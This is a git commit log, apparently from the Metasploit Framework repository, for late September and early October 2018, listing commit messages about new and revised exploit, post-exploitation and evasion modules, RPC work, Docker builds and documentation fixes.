2018-10-08 15:18:47 +06:30
Imran E. Dawoodjee
fcb0b90d7a
Fixed numbering in the documentation steps, offed some whitespace,
...
streamlined the send_request_cgi, removed the conn_check.
2018-10-08 15:04:32 +06:30
Dhiraj Mishra
b08c5ad597
Adding DefaultOptions
2018-10-08 13:24:48 +05:30
Pedro Ribeiro
22d0325d33
Add placeholder for full disclosure URL
2018-10-08 12:33:36 +07:00
Pedro Ribeiro
743a72dff6
Remove header from my own repo
2018-10-08 12:17:11 +07:00
Pedro Ribeiro
f0443bbb57
Create cisco prime exploit
2018-10-08 12:16:24 +07:00
Pedro Ribeiro
0d7da72444
Merge pull request #44 from rapid7/master
...
asasas
2018-10-08 12:14:32 +07:00
Imran E. Dawoodjee
f70aa354fc
Added documentation for
...
modules/exploit/linux/http/netgear_unauth_exec.rb
2018-10-08 11:35:33 +06:30
Imran E. Dawoodjee
3340cf529c
Fixed duplicate output for check.
2018-10-08 11:19:24 +06:30
Imran E. Dawoodjee
272f26640b
Added module for CVE-2016-1555 (netgear_unauth_exec)
...
and its corresponding wordlist file (netgear_boardData_paths.txt).
2018-10-08 10:22:59 +06:30
Carter Brainerd
b2136bd8e0
Change "4" to "5"
2018-10-07 13:35:12 -04:00
Metasploit
7327fa8252
automatic module_metadata_base.json update
2018-10-07 06:50:00 -07:00
Brent Cook
2a985e76b6
Land #10759 , Add new evasion module type, 2 new evasion modules
2018-10-07 09:39:15 -04:00
Dylan Pindur
94e45b12b1
Replace cmd generation with built-in stager module
2018-10-07 10:15:10 +08:00
Wei Chen
c6dddaa481
Support automatic payload choice
2018-10-06 20:28:41 -05:00
Wei Chen
5951f5724e
Pass msftidy
2018-10-06 16:04:07 -05:00
Wei Chen
b012fa1275
Update msftidy
2018-10-06 15:59:05 -05:00
Dhiraj Mishra
da525db6e9
Updating
2018-10-07 01:54:20 +05:30
Wei Chen
f885362e06
Update gemfile
2018-10-06 14:42:25 -05:00
Wei Chen
7c1fbf2c5a
Update description
2018-10-06 09:22:35 -05:00
Wei Chen
a25a7086b2
Rename file
2018-10-06 09:20:15 -05:00
Wei Chen
c7efd57144
Sync up with master
2018-10-06 08:27:01 -05:00
Metasploit
15ce385054
automatic module_metadata_base.json update
2018-10-06 02:20:26 -07:00
Brent Cook
3d507250b0
Land #9745 , Update QNX iwatchd to use newer APIs
2018-10-06 05:06:42 -04:00
Brent Cook
c9ebe5ae23
Land #9745 , Add ifwatchd QNX privilege escalation exploit module
2018-10-06 05:03:50 -04:00
Brendan Coles
89b6aafd85
Use register_file_for_cleanup
2018-10-06 04:37:04 +00:00
Wei Chen
15d8cbbff6
Land #10744 , Add AUDIO_EFFECTS to distinguish from others
2018-10-05 16:51:36 -05:00
Metasploit
6029ce2560
automatic module_metadata_base.json update
2018-10-05 14:28:59 -07:00
Brent Cook
e2f97c75a0
Land #10616 , update Unitrends UEB module to support vulnerabilities in version 10
2018-10-05 16:20:38 -05:00
William Vu
6efadb5f2d
Further clarify {AUDIO,PHYSICAL}_EFFECTS
2018-10-05 16:03:21 -05:00
Brent Cook
4363bd830b
Land #10755 , 50, it's a magic number (sorry 2)
2018-10-05 15:04:20 -05:00
William Vu
2e7ac9f449
Land #10751 , session interaction fix for RHOSTS
2018-10-05 14:37:10 -05:00
William Vu
938139d23c
Add vi and more for hysterical raisins
2018-10-05 14:21:44 -05:00
William Vu
674dab05cc
Land #10754 , check_snake_case_filename redux
2018-10-05 14:08:13 -05:00
William Vu
25147c49e8
Bump fallback pager in log command to tail -n 50
...
24 is never enough. Unless you're Jack Bauer.
(The 24 comes from the VT100. :)
2018-10-05 14:05:54 -05:00
William Vu
2186322134
Stop being an idiot about the regex and rewrite it
...
There was no reason to shoehorn in zero-length assertions.
2018-10-05 13:50:19 -05:00
Brent Cook
40cb09b2e2
Land #10753 , make filename checks more strict
2018-10-05 13:50:14 -04:00
William Vu
05ac3875bc
Improve check_snake_case_filename check in msftidy
...
We also remove the separator, since the file is basenamed.
2018-10-05 11:55:17 -05:00
Metasploit
a35fdab4d7
automatic module_metadata_base.json update
2018-10-05 08:52:26 -07:00
Brent Cook
eb0febc86c
Land #10729 , Namespace modules using full name instead of hex
2018-10-05 11:40:50 -04:00
Brent Cook
241e8e92ba
Land #10743 , reduce docker image size by merging layers
2018-10-05 11:38:52 -04:00
Brent Cook
a51243ce91
Land #10745 , Update lastore_daemon_dbus_priv_esc tested versions
2018-10-05 11:35:31 -04:00
Brent Cook
f6306254ce
Land #10746 , Fix RPC module.payloads method performance
2018-10-05 11:30:46 -04:00
Green-m
3ec71ed549
Fix issue that not interact with session.
2018-10-05 17:30:38 +08:00
Metasploit
e22920dbed
automatic module_metadata_base.json update
2018-10-05 01:40:33 -07:00
William Vu
2bdecf7344
Land #10750 , formatting and AKA reference fixes
2018-10-05 03:32:40 -05:00
William Vu
ceb5194378
Land #10747 , apktool output on failed injection
2018-10-05 03:23:27 -05:00
William Vu
7bc98e0ea8
Fix formatting and convert a missed AKA reference
2018-10-05 03:22:08 -05:00
Metasploit
f9e91438cd
automatic module_metadata_base.json update
2018-10-05 00:29:38 -07:00
William Vu
8620ce0ed1
Land #10749 , Ruby shovel operator fix for Beetel
2018-10-05 02:20:52 -05:00
William Vu
d9cb052189
Fix improper use of the Ruby shovel operator (<<)
...
junk would be modified and returned, and we just want to return the
concatenated string. Practically doesn't matter, but it's incorrect.
This was my first public module. I've been wanting to fix this since.
I'm noticing it again now as I look for how I used Ret in a target.
2018-10-05 02:18:06 -05:00
Dylan Pindur
0f34f94496
Add back SSL options for tc-agent-xmlrpc-module
2018-10-05 15:11:13 +08:00
Tim W
4a4c759a4b
add ndkstager to data/exploits
2018-10-05 15:10:21 +08:00
Tim W
08c196c5d5
show the output of apktool if injection fails
2018-10-05 14:11:36 +08:00
Matthew Kienow
06700efbc4
Skip payload generate to reduce processing time
2018-10-04 22:06:32 -04:00
Dylan Pindur
8ae0bcbacd
Refactor if statements to be cleaner
2018-10-05 09:48:44 +08:00
Metasploit
dbfe67573d
automatic module_metadata_base.json update
2018-10-04 15:03:27 -07:00
bwatters-r7
28fb27187a
Land #10418 , Add DCOM/RPC NTLM Reflection (MS16-075) Via Reflective DLL
...
Merge branch 'land-10418' into upstream-master
2018-10-04 16:54:53 -05:00
bwatters-r7
523040e488
Add note about compiling problems
2018-10-04 16:42:23 -05:00
bwatters-r7
9a45c66db4
Fixed check to you know, check.
2018-10-04 16:38:35 -05:00
bwatters-r7
ce59964141
Recompile binaries and prep for VS2013 compiles
2018-10-04 16:21:23 -05:00
Brendan Coles
fe7ce02dfd
Update tested versions
2018-10-04 21:13:21 +00:00
William Vu
9e512b0246
Clarify {SCREEN,AUDIO,PHYSICAL}_EFFECTS
2018-10-04 14:20:26 -05:00
William Vu
566d540b87
Add AUDIO_EFFECTS to distinguish from others
2018-10-04 14:06:50 -05:00
Metasploit
d1c51bd1b8
automatic module_metadata_base.json update
2018-10-04 11:35:19 -07:00
William Vu
9f30512532
Land #10707 , module traits to augment module rank
2018-10-04 13:26:14 -05:00
Wei Chen
f5190525fc
support for multiple module types
2018-10-04 13:20:47 -05:00
Metasploit
8d7bfee9ec
Weekly dependency update
2018-10-04 10:10:01 -07:00
Metasploit
e9928a41a1
automatic module_metadata_base.json update
2018-10-04 09:10:27 -07:00
Jacob Robles
071aa04111
Land #10738 , Add Zahir Enterprise 6 build 10b BOF
2018-10-04 11:00:12 -05:00
Metasploit
27b6ff14a8
automatic module_metadata_base.json update
2018-10-04 08:18:06 -07:00
Jacob Robles
b5c13690c0
Add documentation for Zahir Import File Module
2018-10-04 10:12:12 -05:00
Wei Chen
fb60558777
Land #10712 , Make exploit/linux/http/axis_srv_parhand_rce more stable
2018-10-04 10:10:28 -05:00
Jacob Robles
060c68d2e0
Aligment, minor modifications
2018-10-04 10:10:09 -05:00
Christian Mehlmauer
30423b33ed
reduce docker image size
2018-10-04 16:21:46 +02:00
Brent Cook
a4509c1757
Land #10739 , Remove unneeded UserServlet from JSON-RPC App
2018-10-04 08:28:35 -05:00
Brent Cook
e9ef18bff6
Land #10735 , Enhance RPC module information retrieval
2018-10-04 08:21:58 -05:00
Christian Mehlmauer
ef9ea5452b
Land #10741 , use multi staged build for docker
2018-10-04 14:16:22 +02:00
Metasploit
8bd6f4ac5d
automatic module_metadata_base.json update
2018-10-04 04:53:58 -07:00
Jacob Robles
8b955f8ec5
Land #10704 , Navigate CMS Unauthenticated RCE
2018-10-04 06:44:21 -05:00
Mostafa Hussein
32f91d537c
remove bundle cache after install
2018-10-04 13:23:55 +02:00
Dhiraj Mishra
9f8f0b8885
Fixing carriage/spaces return at EOL
2018-10-04 15:41:46 +05:30
Metasploit
598f1fb422
automatic module_metadata_base.json update
2018-10-04 02:37:15 -07:00
Dhiraj Mishra
783789d098
Updating
2018-10-04 15:01:06 +05:30
Brent Cook
ff0ee51da1
Land #10686 , ARGS, TIMEOUT, and output to upload_exec module
...
Merge remote-tracking branch 'upstream/pr/10686' into upstream-master
2018-10-04 04:28:02 -05:00
Wei Chen
31f8c87d41
sync up with remote branch
2018-10-04 04:26:25 -05:00
Wei Chen
b2d0b580cf
Fix rspec
2018-10-04 04:24:53 -05:00
Thomas Gregory
144c76ecd4
Latest fix based on @jrobles-r7 recommendations
...
Fixing:
- MetasploitModule class changed
- Remove the word 'exploit' from name
- Remove StackAdjustment
- Remove Privileged option
- Remove make_nops(12)
- Remove extra buffer at the end of exploit
2018-10-04 16:18:02 +07:00
Mostafa Hussein
bb255e1de7
Update Dockerfile
2018-10-04 10:54:21 +02:00
sinn3r
5e5e663812
Merge pull request #44 from wvu-r7/pr/10707
...
Add PHYSICAL_EFFECTS constant from Will.
2018-10-03 23:37:34 -05:00
Wei Chen
92ac5635b1
Support module documentation
2018-10-03 23:35:30 -05:00
William Vu
97ebc832f0
Clarify target of PHYSICAL_EFFECTS
2018-10-03 20:34:24 -05:00
William Vu
fa92808cc6
Add PHYSICAL_EFFECTS constant
2018-10-03 20:32:00 -05:00
Mostafa Hussein
59c5e527a0
Dockerfile: Use Multi-Stage Build
2018-10-04 01:54:35 +02:00
Matthew Kienow
d69ae54835
Remove unneeded UserServlet
2018-10-03 16:40:37 -04:00
Wei Chen
18d6cc0ee0
Add support for info command
2018-10-03 15:19:08 -05:00
Thomas Gregory
991ac3c671
Fixing for msftidy
...
Fixing some format because still throw errors
2018-10-03 18:55:29 +07:00
Dylan Pindur
11d9b44922
Add exploit module for TeamCity Agent XMLRPC
2018-10-03 18:33:10 +08:00
Thomas Gregory
cb5d68b641
Fixing based on msftidy.rb
...
Makes msftidy happy
2018-10-03 17:13:24 +07:00
William Vu
e0a664c0cd
Improve prints, use FileDropper, and bump TIMEOUT
2018-10-02 21:53:18 -05:00
bwatters-r7
19a5c89b9d
Update VS toolset to match VS 2013
2018-10-02 17:00:43 -05:00
bwatters-r7
428d368444
shut up, rubocop
2018-10-02 14:40:55 -05:00
bwatters-r7
64d53cd882
code cleanup
2018-10-02 14:06:25 -05:00
Matthew Kienow
ccad78d567
Fix spelling mistake
2018-10-02 14:11:02 -04:00
Matthew Kienow
d807600ebe
Enhance RPC information retrieval
...
Add the ability to retrieve additional module information for payloads,
encoders and nops. Add ability to filter these modules by architectures.
2018-10-02 13:38:07 -04:00
Brent Cook
9c120ef123
Land #10699 , Avoid double-closing meterpreter channels
2018-10-02 09:46:43 -05:00
Metasploit
c5d2269c5a
automatic module_metadata_base.json update
2018-10-02 07:11:01 -07:00
Brendan Coles
f283ba5411
Land #10733 , Fix typo in module documentation
2018-10-02 14:10:35 +00:00
Fabio Poloni
4927f96f61
Fixed small typo
2018-10-02 15:57:57 +02:00
Jacob Robles
97729727d8
Minor modifications
2018-10-02 06:57:04 -05:00
Brent Cook
b3dca6081d
Land #10720 , better handle errors with multi-host exploits
2018-10-02 05:28:57 -05:00
Metasploit
4b1363aa68
automatic module_metadata_base.json update
2018-10-02 03:23:56 -07:00
Brent Cook
304acd42f0
minor comment tweaks
2018-10-02 05:23:13 -05:00
Brent Cook
faae2ac2f9
Land #10725 , move post/android/gather/subinfo
2018-10-02 05:14:41 -05:00
Brent Cook
2c0d4de70b
Land #10732 , add api key for android wlan_geolocate
2018-10-02 05:09:10 -05:00
Metasploit
95d4856b3a
automatic module_metadata_base.json update
2018-10-01 23:56:24 -07:00
Tim W
6dd36bd8da
Land #10427 , add OSX VNC password gather module
2018-10-02 14:47:51 +08:00
Tim W
488b88fe04
fix documentation
2018-10-02 14:30:56 +08:00
Tim W
b5cf682169
cleanup post/osx/gather/vnc_password_osx and add loot/credentials
2018-10-02 14:22:09 +08:00
Tim W
e6c041003e
fix documentation
2018-10-02 11:51:29 +08:00
Tim W
b993d74f6c
minor tweak
2018-10-02 11:41:58 +08:00
Tim W
5cfc19b804
fix post/multi/gather/wlan_geolocate on Android
2018-10-02 11:35:47 +08:00
Tim W
4d51bace42
fix android wlan_geolocate
2018-10-02 11:26:46 +08:00
William Vu
46e7b8ac98
Namespace modules using full name instead of hex
2018-10-01 18:32:23 -05:00
William Vu
e0f7c747e5
Land #10727 , nil notes fix for external modules
...
This fixes loading of external modules without notes.
2018-10-01 13:37:20 -05:00
Metasploit
e6b7b6cd73
automatic module_metadata_base.json update
2018-10-01 11:14:27 -07:00
William Vu
5314b6330a
Land #10728 , metadata updates for @rastating
2018-10-01 13:05:41 -05:00
bwatters-r7
3c55b992cb
Land #10726,fix deps
...
Merge branch 'land-10726' into upstream-master
2018-10-01 13:00:36 -05:00
Rob
6f5a8f8f42
Fix outdated metadata
2018-10-01 18:59:09 +01:00
space-r7
a0052c7f47
Add evasion module using HTA + JavaScript + C#
2018-10-01 12:57:05 -05:00
bwatters-r7
549ef4b21e
fix deps
2018-10-01 12:42:37 -05:00
William Vu
7842174d8b
Fix loading external modules without notes
2018-10-01 12:41:39 -05:00
Tim W
37dc0ce64d
fix post/android/gather/subinfo.rb path
2018-10-01 16:54:46 +08:00
Tim W
c1f5540e16
Land #10723 , fix another typo in windows reverse_tcp docs
2018-10-01 13:52:43 +08:00
Tim W
e3d653e47b
Land #10722 , fix typo in windows reverse_tcp docs
2018-10-01 13:50:23 +08:00
Delfan Azhar Andhika
af2378d6ec
Update reverse_tcp.md
...
fix typos in line 264.
2018-10-01 03:03:50 +07:00
Delfan Azhar Andhika
0720718716
Update reverse_tcp.md
...
fix typos line 33.
2018-10-01 02:55:53 +07:00
Green-m
1b93363588
Change the error message when interrupt exploit.
2018-09-30 16:09:00 +08:00
Green-m
90b98a193c
Refactor the rhosts for exploit modules.
2018-09-30 16:08:49 +08:00
Agora Security
b678db8bb6
Remove spaces at EOL
2018-09-29 15:29:51 -04:00
modpr0be
ff560ee990
Add test for Zahir 0day exploit
...
Add test for Zahir 0day exploit, need to test more e.g. VirtualBox or Physical machines.
2018-09-29 18:59:14 +07:00
Jacob Robles
0827bc5614
Land #10718 , fix typo in route command examples
2018-09-28 17:27:38 -05:00
jgor
5dcb6ab321
fix typo in route command examples
2018-09-28 16:53:12 -05:00
Brent Cook
c23e6cce5a
Land #10717 , Enhance msfdb to check path for required commands
2018-09-28 16:23:10 -05:00
Brent Cook
2c2d0cd154
Land #10713 , add initial ed25519 SSH key support
2018-09-28 16:20:58 -05:00
Brent Cook
a98af45c13
note why this is there
2018-09-28 16:20:11 -05:00
Brent Cook
572d430429
Land #10682 , add JSON RPC framework and msfrpc v1.0 API endpoints
2018-09-28 15:21:02 -05:00
bwatters-r7
c22ec85d9c
Land #10703 , Update payloads to include the new Kiwi release
2018-09-28 14:43:51 -05:00
Matthew Kienow
c3a2b72836
Use Msf::Util::Helper.which method
2018-09-28 14:48:23 -04:00
Matthew Kienow
55cf17bf15
Add check for required commands
2018-09-28 13:41:03 -04:00
Agora Security
8d1d6ff29f
Create PureVPN Credential Collector Post Explotation Module
2018-09-28 12:00:34 -04:00
Matthew Kienow
5f5b334493
Call keyword argument methods with params hash
2018-09-28 11:11:18 -04:00
Matthew Kienow
60bd00ee5b
Move prepare_params method to v1.0 RpcCommand
...
The method was created to support RPC v1.0 (v10) processing and should
not be necessary for future RPC versions.
2018-09-28 10:51:10 -04:00
William Vu
252d594186
Add ed25519 gem to bundle for ssh_login_pubkey
...
Needed for that key type.
2018-09-28 01:24:13 -05:00
William Vu
ee06ec2fda
Background a subshell to continue execution
...
This provides a more stable injection. I should have tested this sooner.
2018-09-27 23:51:42 -05:00
William Vu
0dab5b622f
Change default target to cmd/unix
2018-09-27 23:39:32 -05:00
William Vu
e999b4d81c
Lower rank to AverageRanking
2018-09-27 23:28:13 -05:00
William Vu
7a2d0acee6
Add basic check method and move rand_srv
...
The .srv can be random each request.
2018-09-27 23:28:13 -05:00
William Vu
d29d936d6f
Bump WfsDelay to 10 for this slow-ass device
2018-09-27 23:28:13 -05:00
William Vu
5d927399c7
Land #10711 , help on empty args for reload_lib
2018-09-27 23:24:51 -05:00
William Vu
0686c76cd5
Restore help on empty args for reload_lib
2018-09-27 23:21:43 -05:00
William Vu
3ce4e27bff
Land #10705 , reload_lib -a/--all options
2018-09-27 22:15:01 -05:00
William Vu
11538bcd4f
Remove pathspec due to vague errors
...
"error: Could not access '*.rb'" is printed when not a repo. We fall
back on reload_file's checks, once again. :(
2018-09-27 22:12:56 -05:00
William Vu
ab56ac6655
Refactor and clean up reload_lib -a and others
2018-09-27 22:11:22 -05:00
bwatters-r7
de47c354a5
Bumped payload gem version
2018-09-27 20:27:21 -05:00
asoto-r7
e4256f4595
Make ENABLE_STATIC an OptBool, as I should have done in the first place
2018-09-27 17:54:22 -05:00
Erin Bleiweiss
3ca95933a1
Update help text.
2018-09-27 13:13:25 -05:00
Erin Bleiweiss
64c86ef4de
Add support for working outside install directory
2018-09-27 13:05:23 -05:00
Wei Chen
a2694555d0
Change typo
2018-09-27 12:45:17 -05:00
Wei Chen
974a727862
Update comment
2018-09-27 12:32:43 -05:00
Wei Chen
086e2b311b
Update constants
2018-09-27 12:31:04 -05:00
Metasploit
7a00e64ac3
Weekly dependency update
2018-09-27 10:05:46 -07:00
Erin Bleiweiss
7ba73ef658
Check for valid files in git command
2018-09-27 12:01:04 -05:00
Erin Bleiweiss
c5c1706636
Acutally, get rid of git? check
2018-09-27 11:14:01 -05:00
Erin Bleiweiss
7f9b9be78b
Allow git? to return true
2018-09-27 11:12:10 -05:00
Pyriphlegethon
342cfe4199
Refactor again
2018-09-27 12:38:05 +02:00
Pyriphlegethon
82b1f40925
Add cleanup code
2018-09-27 11:17:53 +02:00
Pyriphlegethon
2b86297138
Refactor
2018-09-27 11:16:54 +02:00
Pyriphlegethon
f55483d17d
Fix incorrect session_id extraction
2018-09-27 11:07:43 +02:00
Wei Chen
31e9b831d8
Change constant name
2018-09-26 21:42:00 -05:00
Wei Chen
e34371c7d3
Add a newline
2018-09-26 21:19:49 -05:00
Wei Chen
c0ddbba049
rm junk code
2018-09-26 21:19:16 -05:00
Wei Chen
9064fac1ff
Fix code based on Will's feedback
2018-09-26 21:13:37 -05:00
Wei Chen
583874d370
Update use of reliability/side-effects/stability metadata
2018-09-26 18:54:08 -05:00
Erin Bleiweiss
0e2361d675
Use friendly error messages and also Open3.capture2e
2018-09-26 18:49:07 -05:00
William Vu
bbfac2af1c
Fix copypasta typo
2018-09-26 18:46:43 -05:00
William Vu
3bda794f00
Update upload_exec with chmod
2018-09-26 18:46:43 -05:00
William Vu
5444d7a1a5
Update chmod_x_file to chmod
2018-09-26 18:46:42 -05:00
Tim W
896dd13bbe
&& instead of and
2018-09-26 18:46:42 -05:00
Tim W
4adca52103
create chmod helper function
2018-09-26 18:46:42 -05:00
William Vu
81d020f810
Add a couple more Unix platforms
...
This is so we don't trigger the session compatibility warning. These
platforms have been worked on most recently.
2018-09-26 18:46:42 -05:00
William Vu
a119465495
Tell the user when there's blank output
2018-09-26 18:46:42 -05:00
William Vu
6dd6e8abcb
Change vprint to print because we test output
...
Fewer surprises this way when people don't set VERBOSE.
2018-09-26 18:46:42 -05:00
William Vu
42fab6266d
Prefer vprint_line for better formatting
2018-09-26 18:46:42 -05:00
William Vu
40f19efe2c
Don't use cmd.exe /c start so we can fetch output
2018-09-26 18:46:42 -05:00
William Vu
dc1fddd31e
Move chmod so Windows doesn't do it
2018-09-26 18:46:42 -05:00
William Vu
d5f5ef103f
Refactor everything and add command output
2018-09-26 18:46:42 -05:00
William Vu
410abdca80
Tweak TIMEOUT to match cmd_exec's default
2018-09-26 18:46:42 -05:00
William Vu
1df6c43b12
Add ARGS and TIMEOUT options to upload_exec
...
Credit to @bcoles for the initial patch.
2018-09-26 18:46:42 -05:00
William Vu
3edd17bc28
Land #10706 , metasploit-payloads 1.3.51
2018-09-26 18:45:52 -05:00
Erin Bleiweiss
79c26bce08
Add a more comprehensive git check
2018-09-26 18:32:52 -05:00
Erin Bleiweiss
173f570812
Check for presence of git directory
2018-09-26 18:29:49 -05:00
Erin Bleiweiss
71cb3e8e94
Use OptionParser
2018-09-26 18:08:46 -05:00
Erin Bleiweiss
f8984c4f9b
Rename function, change args from to
2018-09-26 17:55:43 -05:00
Wei Chen
04ff0931d7
Add metadata place holders for reliability/side-effects/stability
2018-09-26 17:42:54 -05:00
Erin Bleiweiss
0b48d2371d
Add error handling for non-git situations
2018-09-26 17:32:40 -05:00
William Vu
540955f488
Update metasploit-payloads to 1.3.51
2018-09-26 17:29:48 -05:00
Erin Bleiweiss
b3053020d1
Update help docs
2018-09-26 17:23:46 -05:00
Erin Bleiweiss
eeee289e2f
Add command to reload all files changed as per git diff
2018-09-26 17:16:46 -05:00
Pyriphlegethon
2d568f884e
Add documentation for Navigate CMS Unauthenticated Remote Code Execution
2018-09-26 22:44:20 +02:00
Pyriphlegethon
f882c3aec2
Add Navigate CMS Unauthenticated Remote Code Execution
2018-09-26 21:39:15 +02:00
OJ
736b60f63c
Update payloads to include the new Kiwi release
2018-09-26 14:26:31 +10:00
Metasploit
dcb96c20a0
automatic module_metadata_base.json update
2018-09-25 16:06:15 -07:00
William Vu
0269110faf
Land #10696 , autofilter_{ports,services} in cache
2018-09-25 17:12:54 -05:00
Jeffrey Martin
2db3279956
use symbols and match filter keys to code
2018-09-25 15:04:26 -05:00
Brent Cook
94988e26e0
add mutex on closes
2018-09-25 09:57:45 -05:00
Brent Cook
1a493c4508
Only send a close channel message once, avoid if Meterpreter told us
...
Don't send a close message for a nil channel ID, and if we do send a close
message, only do it once. I could have added a mutex somewher in _close(), but
because it's a class method, it's a little awkward and would require all of the
callers to instead have voluntary lock. As an alternative, I just made the
finalizer close the channel instead.
Fixes #10177
2018-09-25 02:30:38 -05:00
Wei Chen
427080ad5c
Land #10692 , Add rspec test for cmd_set_tabs
2018-09-25 01:24:16 -05:00
Green-m
b5df80d64b
Add require readline to fix uninit issue.
2018-09-25 14:07:54 +08:00
Green-m
dfb6f1f554
Fix undefined method session issue, thx wchen-r7
2018-09-25 11:53:24 +08:00
Metasploit
2eb675ea95
automatic module_metadata_base.json update
2018-09-24 20:26:20 -07:00
Brent Cook
f08cb18afd
Land #10594 , Fix hashdump and user enumeration on new macOS versions
2018-09-24 22:18:24 -05:00
Brent Cook
3e61a98f25
use non-system users for hashdump
2018-09-24 22:17:58 -05:00
Brent Cook
c89d8f8fb7
fix user enumeration methods, be more robust
2018-09-24 22:17:32 -05:00
Brent Cook
1607c2b890
Land #10428 , Update Windows MySQL UDF files, add docs
2018-09-24 21:11:52 -05:00
Matthew Kienow
ab443831a9
Add RSpec for Msf::RPC::JSON::Dispatcher
2018-09-24 17:27:06 -04:00
Matthew Kienow
ea888eaa7c
Add method comments for raise
2018-09-24 17:22:25 -04:00
Jeffrey Martin
cb2f4ae419
Add filter_ports and filter_services to cache
...
When caching metadata about module include `filters` when available.
2018-09-24 14:11:52 -05:00
asoto-r7
d981530f78
Update documentation with correct module name and detailed notes about Tomcat versions
2018-09-24 12:47:58 -05:00
Metasploit
6712627a85
automatic module_metadata_base.json update
2018-09-24 09:21:59 -07:00
Adam Cammack
ffeb5b3b10
Land #10695 , Add docs for Apple iOS WebKit DoS
2018-09-24 11:12:29 -05:00
Wei Chen
02ef565730
Update evasion_module_type branch
2018-09-24 08:20:32 -05:00
Tim W
888ec9430c
fix typo
2018-09-24 17:37:59 +08:00
Tim W
738665e56f
Add documentation for #10652
2018-09-24 17:11:24 +08:00
Metasploit
6188d33545
automatic module_metadata_base.json update
2018-09-23 11:02:58 -07:00
h00die
b486708b02
Land #10663 extremeparr solaris LPE
2018-09-23 13:53:18 -04:00
Green-m
f404b7e699
Improve the context to be more percise.
2018-09-23 11:29:05 +08:00
Green-m
f5da6a4213
Merge branch 'master' into rspec
2018-09-23 11:19:50 +08:00
Dhiraj Mishra
db15340306
Fixing
2018-09-22 15:30:51 +05:30
Dhiraj Mishra
25ed5dc3a6
Moving to exploits/windows/local
2018-09-22 15:22:30 +05:30
Green-m
5ddbf6fd11
Land #10687 , add pry command to meterpreter.
2018-09-22 13:10:57 +08:00
Shaksham Jaiswal
6967f461f1
Fixes
2018-09-22 10:04:59 +05:30
Metasploit
3e20dc155c
automatic module_metadata_base.json update
2018-09-21 21:19:02 -07:00
Brendan Coles
56b01dcf00
Land #10534 , Add FrontPage Credential Dump Module
...
This module downloads and parses the '_vti_pvt/service.pwd',
'_vti_pvt/administrators.pwd', and '_vti_pvt/authors.pwd' files
used by FrontPage to find credentials.
2018-09-22 04:13:24 +00:00
Brendan Coles
7687e6e7b7
Update tested versions
2018-09-22 03:57:03 +00:00
William Vu
fb032745a1
Print nicely about what object you're in
2018-09-21 16:03:48 -05:00
William Vu
7c000c6692
Add pry -h
2018-09-21 16:03:37 -05:00
William Vu
094cc527de
Add pry command to Meterpreter
2018-09-21 16:03:24 -05:00
Metasploit
5f8c026c78
automatic module_metadata_base.json update
2018-09-21 13:46:19 -07:00
bwatters-r7
849547793b
Land #10643 , CVE-2018-8440 ALPC Scheduler
...
Merge branch 'land-10643' into upstream-master
2018-09-21 15:38:45 -05:00
Dhiraj Mishra
4116e8e205
Fixing
2018-09-22 01:00:44 +05:30
Jacob Robles
47bf780b88
specify meterpreter, update documentation
...
Warning is after spell...
2018-09-21 12:31:56 -05:00
root
132008cd0e
fixes
2018-09-21 17:31:26 +00:00
root
17c7d828c1
fixes
2018-09-21 17:16:04 +00:00
AverageSecurityGuy
02b2559953
Update documentation to match new output.
2018-09-21 12:50:13 -04:00
AverageSecurityGuy
0746ab5847
Create credential table.
2018-09-21 12:44:10 -04:00
AverageSecurityGuy
a603c04da5
Create credential table.
2018-09-21 12:42:32 -04:00
Matthew Kienow
5280cf0c50
Move required members and types to constants
2018-09-21 11:19:38 -04:00
Jacob Robles
c9de43c8d0
Code cleanup, feedback from bcoles
2018-09-21 10:11:26 -05:00
AverageSecurityGuy
5842f0c012
Msftidy
2018-09-21 10:15:31 -04:00
Jacob Robles
8a0f5c12f2
Move setup info, remove accessors
2018-09-21 07:47:22 -05:00
Jacob Robles
6db716d2ec
Update documentation
2018-09-21 07:15:14 -05:00
7echSec
cd3b139642
Adding UnmarshalPwn.exe
...
Compatible with Visual Studio 2013.
2018-09-21 17:24:50 +05:30
7echSec
545e488486
Uploading new UnmarshalPwn.exe
...
As per the bwatters-r7 comment I am uploading new UnmarshalPwn.exe complied with platform toolset 120
2018-09-21 17:18:39 +05:30
7echSec
60fcca63b7
Spaces at EOL
2018-09-21 17:04:31 +05:30
7echSec
9aa746abee
Adding rank to the module
2018-09-21 16:15:43 +05:30
7echSec
1b5186b112
Midified
2018-09-21 15:53:26 +05:30
7echSec
d6bd0bea02
Updating unmarshal.rb
...
I have moved unmarshal.rb from '/post/windows/escalate' to '/exploit/windows/local'
2018-09-21 15:38:55 +05:30
William Vu
a38080528b
Land #10684 , stray quote fix for writable? raise
2018-09-20 22:55:11 -05:00
William Vu
3bc0a821d5
Prefer ye olde TeX-style quotes
...
This was @bcoles' initial commit. I agree. Looks good with the raise.
2018-09-20 22:54:17 -05:00
William Vu
0d7c109bb4
Land #10685 , NameError fix for cmd_shell
2018-09-20 22:41:55 -05:00
William Vu
fdbb085f0b
Fix NameError in cmd_shell due to renamed variable
...
I missed this while refactoring. I didn't use the var after all. :'(
2018-09-20 22:27:28 -05:00
William Vu
95e2c388c4
Remove stray quote from raise in writable? method
...
Didn't break the string but looked funny.
2018-09-20 22:19:18 -05:00
Metasploit
e7712c1ed3
automatic module_metadata_base.json update
2018-09-20 19:36:42 -07:00
William Vu
a0c71ce16a
Land #10683 , to_s fixes for Heartbleed
2018-09-20 21:29:19 -05:00
William Vu
02f4fc1876
Prefer to_s.empty?
...
Oh, hell, do it here, too.
2018-09-20 21:26:41 -05:00
William Vu
c875f66154
Prefer to_s over || ''
...
Oops, I wasn't thinking clearly. to_s is cleaner.
2018-09-20 21:26:41 -05:00
Metasploit
0a9e48af74
automatic module_metadata_base.json update
2018-09-20 18:57:20 -07:00
Brendan Coles
a7f53b9361
Land #10628 , Add Solaris srsexec Arbitrary File Reader module
2018-09-21 01:56:43 +00:00
Metasploit
ea231a5f05
automatic module_metadata_base.json update
2018-09-20 18:28:12 -07:00
William Vu
9bdc5b2af0
Land #10680 , LEAK_COUNT option for Heartbleed
2018-09-20 20:15:48 -05:00
h00die
ee0776b095
print when not verbose
2018-09-20 20:54:41 -04:00
William Vu
9da87a600f
Add LEAK_COUNT option to Heartbleed
...
I should have done this in 2014, but I'm a slacker.
2018-09-20 19:49:07 -05:00
Matthew Kienow
7d30f781f6
Add missing raise
2018-09-20 20:09:42 -04:00
Matthew Kienow
c7badd5c37
Add method comments
2018-09-20 20:07:45 -04:00
Matthew Kienow
9d3d9c3ad6
Change parameter version to Symbol
2018-09-20 19:58:04 -04:00
Metasploit
dce0e0846c
automatic module_metadata_base.json update
